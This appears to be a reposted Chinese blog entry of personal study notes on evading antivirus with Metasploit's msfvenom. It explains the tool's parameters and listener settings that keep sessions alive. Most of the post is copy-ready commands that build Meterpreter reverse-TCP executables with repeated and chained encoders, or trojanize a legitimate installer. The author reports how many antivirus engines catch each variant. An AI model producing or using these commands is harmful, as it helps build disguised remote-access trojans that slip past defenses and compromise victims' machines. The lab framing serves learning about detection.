最近开始学习免杀,发现Tide团队有免杀的系列文章,先膜拜一波大佬,这里的博客是复现和学习的笔记,如果你对内容感兴趣可以学习参考链接里提供的地址
参考:
远控免杀专题文章(2)-msfvenom隐藏的参数
远控免杀专题文章(3)-msf自免杀(VT免杀率35/69)
msfvenom简介
msfvenom是msfpayload和msfencode的结合体,于2015年6月8日取代了msfpayload和msfencode。在此之后,metasploit-framework下面的的msfpayload(荷载生成器),msfencoder(编码器),msfcli(监听接口)都不再被支持。
参数
所有参数如上图,这里解释部分常用参数
-p, –payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的
-l, –list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-n, –nopsled < length> 为payload预先指定一个NOP滑动长度
-f, –format < format> 指定输出格式 (使用 –help-formats 来获取msf支持的输出格式列表)
-e, –encoder [encoder] 指定需要使用的encoder(编码器),指定需要使用的编码,如果既没用-e选项也没用-b选项,则输出raw payload
-a, –arch < architecture> 指定payload的目标架构,例如x86 | x64 | x86_64
–platform < platform> 指定payload的目标平台
-s, –space < length> 设定有效攻击荷载的最大长度,就是文件大小
-b, –bad-chars < list> 设定规避字符集,指定需要过滤的坏字符例如:不使用 '\x0f'、'\x00';
-i, –iterations < count> 指定payload的编码次数
-c, –add-code < path> 指定一个附加的win32 shellcode文件
-x, –template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中
-k, –keep 保护模板程序的动作,注入的payload作为一个新的进程运行
–payload-options 列举payload的标准选项
-o, –out < path> 指定创建好的payload的存放位置
-v, –var-name < name> 指定一个自定义的变量,以确定输出格式
–shellest 最小化生成payload
-h, –help 查看帮助选项
–help-formats 查看msf支持的输出格式列表
比如
- 想查看
windows/meterpreter/reverse_tcp
支持什么平台、哪些选项,可以使用msfvenom -p windows/meterpreter/reverse_tcp --list-options
- 使用
msfvenom --list payloads
可查看所有payloads - 使用
msfvenom --list encoders
可查看所有编码器
评级最高的两个encoder为cmd/powershell_base64
和x86/shikata_ga_nai
,其中x86/shikata_ga_nai
也是免杀中使用频率最高的一个编码器了
- 类似可用
msfvenom --list
命令查看的还有payloads, encoders, nops, platforms, archs, encrypt, formats
一些重要的监听参数
防止假session
在实战中,经常会遇到假session或者刚连接就断开的情况,这里补充一些监听参数,防止假死与假session。
msf exploit(multi/handler) > set ExitOnSession false //可以在接收到seesion后继续监听端口,保持侦听。
防止session意外退出
msf5 exploit(multi/handler) > set SessionCommunicationTimeout 0 //默认情况下,如果一个会话将在5分钟(300秒)没有任何活动,那么它会被杀死,为防止此情况可将此项修改为0
msf5 exploit(multi/handler) > set SessionExpirationTimeout 0 //默认情况下,一个星期(604800秒)后,会话将被强制关闭,修改为0可永久不会被关闭
handler后台持续监听
msf exploit(multi/handler) > exploit -j -z
使用exploit -j -z
可在后台持续监听,-j为后台任务,-z为持续监听,使用Jobs命令查看和管理后台任务。jobs -K
可结束所有任务。
还有种比较快捷的建立监听的方式,在msf下直接执行:
msf5 > handler -H 10.211.55.2 -P 3333 -p windows/meterpreter/reverse_tcp
实验环境
为避免木马被杀导致别的平台没有机会检测,实验时会每次只启动一个杀软,然后截图,最后把关于这个木马的截图汇成一张图
选择的是当下最新版本的火绒、360、360杀毒、腾讯电脑管家,版本如下:
火绒:5.0.55.2
腾讯电脑管家:13.6.20672.243
360:12.0.0.2003
360杀毒:50.0.8170(64位)
裸奔payload(VT查杀56/71)
测试机器运行,在拖进win7的同时,360杀毒、火绒可报;手动运行程序,都能报
选择使用频率最高的windows/meterperter/reverse_tcp
,这也是被各大杀软盯的最紧的一个
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f exe -o payload1.exe
MSF自编码处理(VT查杀55/71)
测试机器运行,在拖进win7的同时,360杀毒、火绒,腾讯可报;手动运行程序,都能报
使用msfvenom --list encoders
可查看所有编码器。
评级最高的两个encoder为cmd/powershell_base64
和x86/shikata_ga_nai
,其中x86/shikata_ga_nai
也是免杀中使用频率最高的一个编码器了。使用x86/shikata_ga_nai
生成payload,参数-i
为编码次数,我这里设置15次,并使用了-b
参数去掉payload中的空字符
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -b "\x00" -i 15 -f exe -o payload2.exe
由于shikata_ga_nai
编码技术是多态的,也就是说每次生成的payload文件都不一样,有时生成的文件会被查杀,有时却不会。当然这个也和编码次数有一定关系,编码次数好像超过70次就经常生成出错,但是编码次数多并不代表免杀能力强。
MSF捆绑(VT查杀41/69)
测试机器运行,360杀毒,火绒动静态可报,360动态可报,腾讯失败
在生成payload时可以使用捆绑功能,使用msfvenom的-x
参数可以指定一个自定义的可执行文件作为模板,并将payload嵌入其中,-x
后面跟对应文件路径就可以,我这里使用Everything来演示
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.239.128 LPORT=3333 -x Everything-1.4.1.1000.x64-Setup.exe -f exe -o payload3.exe
生成的文件对比一下,大小完全一致
另外,能否免杀也和你选的被捆绑exe有一定关系,可以选微软的一些工具作为模板exe程序,试试微软家的procexp.exe(VT查杀41/69)
MSF捆绑+编码(VT查杀43/70)
将上面的两种方式组合一下
火绒,360杀毒动静态可报,360动态可报,腾讯失败
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.239.128 LPORT=3333 -e x86/shikata_ga_nai -x Everything-1.4.1.1000.x64-Setup.exe -i 15 -f exe -o payload4.exe
MSF多重编码(VT查杀41/70)
360杀毒动静态可报,360动态可报,火绒和腾讯失败
msfvenom的encoder编码器可以对payload进行一定程度免杀,同时还可以使用msfvenom多重编码功能,通过管道,让msfvenom用不同编码器反复编码进行混淆。
如下命令
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/call4_dword_xor -i 14 LHOST=192.168.40.146 LPORT=5110 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 13 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -b "&" -i 4 -f raw | msfvenom -a x86 --platform windows -e cmd/powershell_base64 -i 10 -x Everything-1.4.1.1000.x86-Setup.exe -k -f exe > payload5.exe
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/134350.html